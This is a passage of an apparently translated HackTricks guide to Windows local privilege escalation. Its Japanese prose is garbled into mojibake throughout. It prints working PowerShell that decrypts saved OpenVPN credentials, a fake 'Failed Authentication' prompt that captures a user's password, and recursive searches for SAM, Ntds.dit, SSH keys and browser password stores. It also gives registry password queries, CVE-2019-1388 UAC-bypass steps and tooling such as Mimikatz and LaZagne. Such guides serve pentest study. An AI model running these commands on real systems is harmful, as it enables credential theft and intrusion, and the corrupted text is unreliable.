Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem âPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
è³æ Œæ
å ±ãå«ãweb.configã®äŸïŒ
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPNã®è³æ Œæ å ±
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ãã°
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem âPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Ask for credentials
You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
è³æ Œæ å ±ãå«ãå¯èœæ§ã®ãããã¡ã€ã«å
以åã«å¹³æãŸãã¯Base64ã§ãã¹ã¯ãŒããå«ãã§ããæ¢ç¥ã®ãã¡ã€ã«
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
ãã¹ãŠã®ææ¡ããããã¡ã€ã«ãæ€çŽ¢ããŸã:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem âPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBinå ã®è³æ Œæ å ±
è³æ Œæ å ±ãå«ãŸããŠãããã©ããã確èªããããã«ãBinããã§ãã¯ããå¿ èŠããããŸãã
è€æ°ã®ããã°ã©ã ã«ãã£ãŠä¿åããããã¹ã¯ãŒããå埩ããã«ã¯ã次ã®ããŒã«ã䜿çšã§ããŸã: http://www.nirsoft.net/password_recovery_tools.html
ã¬ãžã¹ããªå
è³æ Œæ å ±ãå«ãä»ã®å¯èœæ§ã®ããã¬ãžã¹ããªããŒ
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
ã¬ãžã¹ããªããopensshããŒãæœåºããã
ãã©ãŠã¶ã®å±¥æŽ
ChromeãŸãã¯Firefoxãããã¹ã¯ãŒããä¿åãããŠããdbã確èªããå¿
èŠããããŸãã
ãŸãããã©ãŠã¶ã®å±¥æŽãããã¯ããŒã¯ããæ°ã«å
¥ãã確èªããŠãã ãããããã«ãã¹ã¯ãŒããä¿åãããŠãããããããŸããã
ãã©ãŠã¶ãããã¹ã¯ãŒããæœåºããããã®ããŒã«ïŒ
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLLã®äžæžã
ã³ã³ããŒãã³ããªããžã§ã¯ãã¢ãã« (COM) ã¯ãç°ãªãèšèªã®ãœãããŠã§ã¢ã³ã³ããŒãã³ãéã®çžäºéä¿¡ãå¯èœã«ããWindowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã å ã«æ§ç¯ãããæè¡ã§ããåCOMã³ã³ããŒãã³ãã¯**ã¯ã©ã¹ID (CLSID)**ã«ãã£ãŠèå¥ãããåã³ã³ããŒãã³ãã¯ã€ã³ã¿ãŒãã§ãŒã¹ID (IIDs)ã«ãã£ãŠèå¥ããã1ã€ä»¥äžã®ã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠæ©èœãå ¬éããŸãã
COMã¯ã©ã¹ãšã€ã³ã¿ãŒãã§ãŒã¹ã¯ãããããHKEY_CLASSES_ROOT\CLSIDããã³HKEY_CLASSES_ROOT\Interfaceã®ã¬ãžã¹ããªã«å®çŸ©ãããŠããŸãããã®ã¬ãžã¹ããªã¯ãHKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOTãããŒãžããããšã«ãã£ãŠäœæãããŸãã
ãã®ã¬ãžã¹ããªã®CLSIDå ã«ã¯ãDLLãæãããã©ã«ãå€ãå«ãåã¬ãžã¹ããªInProcServer32ããããThreadingModelãšããå€ãApartmentïŒã·ã³ã°ã«ã¹ã¬ããïŒãFreeïŒãã«ãã¹ã¬ããïŒãBothïŒã·ã³ã°ã«ãŸãã¯ãã«ãïŒããŸãã¯NeutralïŒã¹ã¬ããäžç«ïŒã§ããå¯èœæ§ããããŸãã
åºæ¬çã«ãå®è¡ãããDLLã®ãããããäžæžãããããšãã§ããã°ããã®DLLãç°ãªããŠãŒã¶ãŒã«ãã£ãŠå®è¡ãããå Žåãç¹æš©ãææ Œãããããšãã§ããŸãã
æ»æè ãCOMãã€ãžã£ããã³ã°ãæ°žç¶æ§ã¡ã«ããºã ãšããŠã©ã®ããã«äœ¿çšããããåŠã¶ã«ã¯ã次ã確èªããŠãã ããïŒ
{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}
ãã¡ã€ã«ãšã¬ãžã¹ããªå ã®äžè¬çãªãã¹ã¯ãŒãæ€çŽ¢
ãã¡ã€ã«ã®å 容ãæ€çŽ¢
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
ç¹å®ã®ãã¡ã€ã«åãæã€ãã¡ã€ã«ãæ€çŽ¢ãã
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
ã¬ãžã¹ããªã§ããŒåãšãã¹ã¯ãŒããæ€çŽ¢ãã
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
ãã¹ã¯ãŒããæ€çŽ¢ããããŒã«
MSF-Credentials Plugin ã¯msfã® ãã©ã°ã€ã³ã§ã被害è
ã®å
éšã§è³æ Œæ
å ±ãæ€çŽ¢ãããã¹ãŠã®metasploit POSTã¢ãžã¥ãŒã«ãèªåçã«å®è¡ããããã«äœæããŸããã
Winpeas ã¯ããã®ããŒãžã«èšèŒãããŠãããã¹ã¯ãŒããå«ããã¹ãŠã®ãã¡ã€ã«ãèªåçã«æ€çŽ¢ããŸãã
Lazagne ã¯ãã·ã¹ãã ãããã¹ã¯ãŒããæœåºããããã®ããäžã€ã®åªããããŒã«ã§ãã
ããŒã« SessionGopher ã¯ãã»ãã·ã§ã³ããŠãŒã¶ãŒåãããã³ãã¹ã¯ãŒããæ€çŽ¢ããŸãããããã¯ãã¯ãªã¢ããã¹ãã§ããŒã¿ãä¿åããããã€ãã®ããŒã«ïŒPuTTYãWinSCPãFileZillaãSuperPuTTYãRDPïŒã«ãã£ãŠä¿åãããŸãã
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
æŒæŽ©ãã³ãã©
SYSTEMãšããŠå®è¡ãããŠããããã»ã¹ãæ°ããããã»ã¹ãéã (OpenProcess()
) ãã«ã¢ã¯ã»ã¹ã§ãåãããã»ã¹ãäœç¹æš©ã§æ°ããããã»ã¹ãäœæãã (CreateProcess()
) ããã¡ã€ã³ããã»ã¹ã®ãã¹ãŠã®ãªãŒãã³ãã³ãã«ãç¶æ¿ããã
ãã®åŸãäœç¹æš©ããã»ã¹ã«ãã«ã¢ã¯ã»ã¹ãããå ŽåãOpenProcess()
ã§äœæãããç¹æš©ããã»ã¹ãžã®ãªãŒãã³ãã³ãã«ãååŸããã·ã§ã«ã³ãŒãã泚å
¥ã§ããŸãã
ãã®äŸãèªãã§ããã®è匱æ§ãæ€åºããæªçšããæ¹æ³ã«ã€ããŠã®è©³çŽ°æ
å ±ãåŸãŠãã ããã
ç°ãªãæš©éã¬ãã«ïŒãã«ã¢ã¯ã»ã¹ã ãã§ãªãïŒã§ç¶æ¿ãããããã»ã¹ãšã¹ã¬ããã®ãªãŒãã³ãã³ãã«ããã¹ãããæªçšããæ¹æ³ã«ã€ããŠã®ããå®å
šãªèª¬æãåŸãããã«ããã¡ãã®å¥ã®æçš¿ãèªãã§ãã ããã
ååä»ããã€ãã¯ã©ã€ã¢ã³ãã®åœè£
å ±æã¡ã¢ãªã»ã°ã¡ã³ããããªãã¡ãã€ãã¯ãããã»ã¹éã®éä¿¡ãšããŒã¿è»¢éãå¯èœã«ããŸãã
Windowsã¯ååä»ããã€ããšåŒã°ããæ©èœãæäŸããŠãããç¡é¢ä¿ãªããã»ã¹ãç°ãªããããã¯ãŒã¯ãä»ããŠãããŒã¿ãå ±æã§ããŸããããã¯ãååä»ããã€ããµãŒããŒãšååä»ããã€ãã¯ã©ã€ã¢ã³ããšããŠå®çŸ©ããã圹å²ãæã€ã¯ã©ã€ã¢ã³ã/ãµãŒããŒã¢ãŒããã¯ãã£ã«äŒŒãŠããŸãã
ã¯ã©ã€ã¢ã³ãã«ãã£ãŠãã€ããéããŠããŒã¿ãéä¿¡ããããšããã€ããèšå®ãããµãŒããŒã¯ãå¿ èŠãªSeImpersonateæš©éãæã£ãŠããå Žåãã¯ã©ã€ã¢ã³ãã®ã¢ã€ãã³ãã£ãã£ãåŒãåããããšãã§ããŸãããã€ããä»ããŠéä¿¡ããç¹æš©ããã»ã¹ãç¹å®ãããã®ããã»ã¹ã®ã¢ã€ãã³ãã£ãã£ãæš¡å£ããããšã§ãããªãã確ç«ãããã€ããšçžäºäœçšããéã«ãã®ããã»ã¹ã®ã¢ã€ãã³ãã£ãã£ãæ¡çšããããšã«ãã£ãŠããé«ãç¹æš©ãåŸãæ©äŒãæäŸãããŸãããã®ãããªæ»æãå®è¡ããããã®æ瀺ã¯ããã¡ããšãã¡ãã§èŠã€ããããšãã§ããŸãã
ãŸãã次ã®ããŒã«ã¯ãburpã®ãããªããŒã«ã§ååä»ããã€ãéä¿¡ãååããããšãå¯èœã«ããŸãïŒhttps://github.com/gabriel-sztejnworcel/pipe-intercept ãã®ããŒã«ã¯ãç¹æš©ææ ŒãèŠã€ããããã«ãã¹ãŠã®ãã€ãããªã¹ããã衚瀺ããããšãå¯èœã«ããŸã https://github.com/cyberark/PipeViewer
ãã®ä»
ãã¹ã¯ãŒãã®ããã®ã³ãã³ãã©ã€ã³ã®ç£èŠ
ãŠãŒã¶ãŒãšããŠã·ã§ã«ãååŸãããšãã³ãã³ãã©ã€ã³ã§è³æ Œæ å ±ãæž¡ãã¹ã±ãžã¥ãŒã«ãããã¿ã¹ã¯ãä»ã®ããã»ã¹ãå®è¡ãããŠããå¯èœæ§ããããŸãã以äžã®ã¹ã¯ãªããã¯ãããã»ã¹ã®ã³ãã³ãã©ã€ã³ã2ç§ããšã«ãã£ããã£ããçŸåšã®ç¶æ ãšåã®ç¶æ ãæ¯èŒããŠãéããåºåããŸãã
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
ãã¹ã¯ãŒããããã»ã¹ããçã
äœç¹æš©ãŠãŒã¶ãŒãã NT\AUTHORITY SYSTEM ãž (CVE-2019-1388) / UAC ãã€ãã¹
ã°ã©ãã£ã«ã«ã€ã³ã¿ãŒãã§ãŒã¹ïŒã³ã³ãœãŒã«ãŸã㯠RDP çµç±ïŒã«ã¢ã¯ã»ã¹ã§ããUAC ãæå¹ã«ãªã£ãŠããå ŽåãMicrosoft Windows ã®äžéšã®ããŒãžã§ã³ã§ã¯ãç¹æš©ã®ãªããŠãŒã¶ãŒãããNT\AUTHORITY SYSTEMããªã©ã®ã¿ãŒããã«ãä»ã®ããã»ã¹ãå®è¡ããããšãå¯èœã§ãã
ããã«ãããç¹æš©ãææ Œãããåãè匱æ§ã䜿çšããŠåæã« UAC ããã€ãã¹ããããšãã§ããŸããããã«ãäœãã€ã³ã¹ããŒã«ããå¿ èŠããªããããã»ã¹äžã«äœ¿çšããããã€ããªã¯ Microsoft ã«ãã£ãŠçœ²åãããçºè¡ãããŠããŸãã
圱é¿ãåããã·ã¹ãã ã®äžéšã¯ä»¥äžã®éãã§ãïŒ
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
ãã®è匱æ§ãæªçšããã«ã¯ã次ã®æé ãå®è¡ããå¿ èŠããããŸãïŒ
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
ããªãã¯ä»¥äžã®GitHubãªããžããªã«å¿ èŠãªãã¹ãŠã®ãã¡ã€ã«ãšæ å ±ãæã£ãŠããŸãïŒ
https://github.com/jas502n/CVE-2019-1388
管çè ã®äžçšåºŠããé«ãæŽåæ§ã¬ãã«ãž / UACãã€ãã¹
æŽåæ§ã¬ãã«ã«ã€ããŠåŠã¶ããã«ãããèªãã§ãã ããïŒ
{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
次ã«ãUACãšUACãã€ãã¹ã«ã€ããŠåŠã¶ããã«ãããèªãã§ãã ããïŒ
{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
é«ãæŽåæ§ããã·ã¹ãã ãž
æ°ãããµãŒãã¹
ãã§ã«é«ãæŽåæ§ããã»ã¹ã§å®è¡ããŠããå ŽåãSYSTEMã«ãã¹ããã®ã¯ãæ°ãããµãŒãã¹ãäœæããŠå®è¡ããã ãã§ç°¡åã§ãïŒ
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
AlwaysInstallElevated
é«ãæŽåæ§ããã»ã¹ãããAlwaysInstallElevatedã¬ãžã¹ããªãšã³ããªãæå¹ã«ãã_.msi_ã©ãããŒã䜿çšããŠãªããŒã¹ã·ã§ã«ãã€ã³ã¹ããŒã«ããããšããããšãã§ããŸãã
é¢äžããã¬ãžã¹ããªããŒãš_.msi_ããã±ãŒãžã®ã€ã³ã¹ããŒã«æ¹æ³ã«ã€ããŠã®è©³çŽ°ã¯ãã¡ãã
High + SeImpersonate privilege to System
ã³ãŒã㯠ãã¡ãã§èŠã€ããããšãã§ããŸãã
From SeDebug + SeImpersonate to Full Token privileges
ãããã®ããŒã¯ã³ç¹æš©ãæã£ãŠããå ŽåïŒãããããã§ã«é«ãæŽåæ§ããã»ã¹ã§èŠã€ããã§ãããïŒãã»ãŒãã¹ãŠã®ããã»ã¹ïŒä¿è·ãããããã»ã¹ã§ã¯ãªãïŒãSeDebugç¹æš©ã§éãããšãã§ããããã»ã¹ã®ããŒã¯ã³ãã³ããŒãããã®ããŒã¯ã³ã䜿çšããŠä»»æã®ããã»ã¹ãäœæããããšãã§ããŸãã
ãã®æè¡ã䜿çšããéã¯ãéåžžããã¹ãŠã®ããŒã¯ã³ç¹æš©ãæã€SYSTEMãšããŠå®è¡ãããŠããä»»æã®ããã»ã¹ãéžæããŸãïŒã¯ãããã¹ãŠã®ããŒã¯ã³ç¹æš©ãæããªãSYSTEMããã»ã¹ãèŠã€ããããšãã§ããŸãïŒã
ææ¡ãããæè¡ãå®è¡ããã³ãŒãã® äŸã¯ãã¡ãã§èŠã€ããããšãã§ããŸãã
Named Pipes
ãã®æè¡ã¯ãmeterpreterãgetsystem
ã§ææ Œããããã«äœ¿çšãããŸãããã®æè¡ã¯ããã€ããäœæãããã®ãã€ãã«æžã蟌ããµãŒãã¹ãäœæ/æªçšããããšããæããŸãã次ã«ãSeImpersonate
ç¹æš©ã䜿çšããŠãã€ããäœæãããµãŒããŒã¯ããã€ãã¯ã©ã€ã¢ã³ãïŒãµãŒãã¹ïŒã®ããŒã¯ã³ãåœè£
ããSYSTEMç¹æš©ãååŸããããšãã§ããŸãã
ååä»ããã€ãã«ã€ããŠãã£ãšåŠã³ããå Žåã¯ãããèªãã¹ãã§ãã
é«ãæŽåæ§ããSYSTEMã«ååä»ããã€ãã䜿çšããŠç§»è¡ããæ¹æ³ã®äŸãèªã¿ããå Žåã¯ãããèªãã¹ãã§ãã
Dll Hijacking
SYSTEMãšããŠå®è¡ãããŠããããã»ã¹ã«ãã£ãŠããŒããããdllããã€ãžã£ãã¯ããããšãã§ããã°ããã®æš©éã§ä»»æã®ã³ãŒããå®è¡ããããšãã§ããŸãããããã£ãŠãDll Hijackingã¯ãã®çš®ã®ç¹æš©ææ Œã«ã圹ç«ã¡ãããã«ãé«ãæŽåæ§ããã»ã¹ããã¯ã¯ããã«ç°¡åã«éæã§ããŸãããªããªããdllãããŒãããããã«äœ¿çšããããã©ã«ããŒã«æžã蟌ã¿æš©éãæã£ãŠããããã§ãã
Dllãã€ãžã£ãã¯ã«ã€ã㊠ãã¡ãã§è©³ããåŠã¶ããšãã§ããŸãã
From Administrator or Network Service to System
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
From LOCAL SERVICE or NETWORK SERVICE to full privs
èªã: https://github.com/itm4n/FullPowers
More help
Useful tools
WindowsããŒã«ã«ç¹æš©ææ Œãã¯ãã«ãæ¢ãããã®æè¯ã®ããŒã«: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- 誀èšå®ãæ©å¯ãã¡ã€ã«ããã§ãã¯ããŸãïŒãã¡ãã確èªïŒãæ€åºãããŸããã
JAWS -- äžéšã®èª€èšå®ããã§ãã¯ããæ
å ±ãåéããŸãïŒãã¡ãã確èªïŒã
privesc -- 誀èšå®ããã§ãã¯ããŸã
SessionGopher -- PuTTYãWinSCPãSuperPuTTYãFileZillaãããã³RDPã®ä¿åãããã»ãã·ã§ã³æ
å ±ãæœåºããŸããããŒã«ã«ã§-Thoroughã䜿çšããŸãã
Invoke-WCMDump -- è³æ Œæ
å ±ãããŒãžã£ãŒããè³æ Œæ
å ±ãæœåºããŸããæ€åºãããŸããã
DomainPasswordSpray -- åéãããã¹ã¯ãŒãããã¡ã€ã³å
šäœã«ã¹ãã¬ãŒããŸã
Inveigh -- Inveighã¯PowerShell ADIDNS/LLMNR/mDNS/NBNSã¹ããŒãã£ã³ã°ããã³äžéè
ããŒã«ã§ãã
WindowsEnum -- åºæ¬çãªç¹æš©ææ ŒWindowsåæ
Sherlock ~~~~ -- æ¢ç¥ã®ç¹æš©ææ Œè匱æ§ãæ€çŽ¢ããŸãïŒWatsonã®ããã«éæšå¥šïŒ
WINspect -- ããŒã«ã«ãã§ã㯠ïŒç®¡çè
æš©éãå¿
èŠïŒ
Exe
Watson -- æ¢ç¥ã®ç¹æš©ææ Œè匱æ§ãæ€çŽ¢ããŸãïŒVisualStudioã䜿çšããŠã³ã³ãã€ã«ããå¿
èŠããããŸãïŒïŒäºåã³ã³ãã€ã«æžã¿ïŒ
SeatBelt -- 誀èšå®ãæ¢ããŠãã¹ããåæããŸãïŒç¹æš©ææ Œãããæ
å ±åéããŒã«ïŒïŒã³ã³ãã€ã«ãå¿
èŠïŒ ïŒäºåã³ã³ãã€ã«æžã¿ïŒ
LaZagne -- å€ãã®ãœãããŠã§ã¢ããè³æ Œæ
å ±ãæœåºããŸãïŒGitHubã«äºåã³ã³ãã€ã«æžã¿exeããïŒ
SharpUP -- PowerUpã®C#ãžã®ç§»æ€
Beroot ~~~~ -- 誀èšå®ããã§ãã¯ããŸãïŒGitHubã«äºåã³ã³ãã€ã«æžã¿ã®å®è¡å¯èœãã¡ã€ã«ïŒãæšå¥šãããŸãããWin10ã§ã¯ããŸãæ©èœããŸããã
Windows-Privesc-Check -- å¯èœãªèª€èšå®ããã§ãã¯ããŸãïŒPythonããã®exeïŒãæšå¥šãããŸãããWin10ã§ã¯ããŸãæ©èœããŸããã
Bat
winPEASbat -- ãã®æçš¿ã«åºã¥ããŠäœæãããããŒã«ïŒæ£ããåäœããããã«accesschkã¯å¿ èŠãããŸãããã䜿çšããããšãã§ããŸãïŒã
Local
Windows-Exploit-Suggester -- systeminfoã®åºåãèªã¿åããåäœãããšã¯ã¹ããã€ããæšå¥šããŸãïŒããŒã«ã«PythonïŒ
Windows Exploit Suggester Next Generation -- systeminfoã®åºåãèªã¿åããåäœãããšã¯ã¹ããã€ããæšå¥šããŸãïŒããŒã«ã«PythonïŒ
Meterpreter
multi/recon/local_exploit_suggestor
ãããžã§ã¯ããæ£ããããŒãžã§ã³ã®.NETã䜿çšããŠã³ã³ãã€ã«ããå¿ èŠããããŸãïŒãããåç §ïŒã被害è ãã¹ãã«ã€ã³ã¹ããŒã«ãããŠãã.NETã®ããŒãžã§ã³ã確èªããã«ã¯ã次ã®ããã«ããŸãïŒ
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Bibliography
- http://www.fuzzysecurity.com/tutorials/16.html\
- http://www.greyhathacker.net/?p=738\
- http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
- https://github.com/sagishahar/lpeworkshop\
- https://www.youtube.com/watch?v=_8xJaaQlpBo\
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html\
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md\
- https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/\
- https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md\
- https://github.com/frizb/Windows-Privilege-Escalation\
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/\
- https://github.com/frizb/Windows-Privilege-Escalation\
- http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãç·Žç¿ãã:HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãç·Žç¿ãã: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ãã!
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãéä¿¡ããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã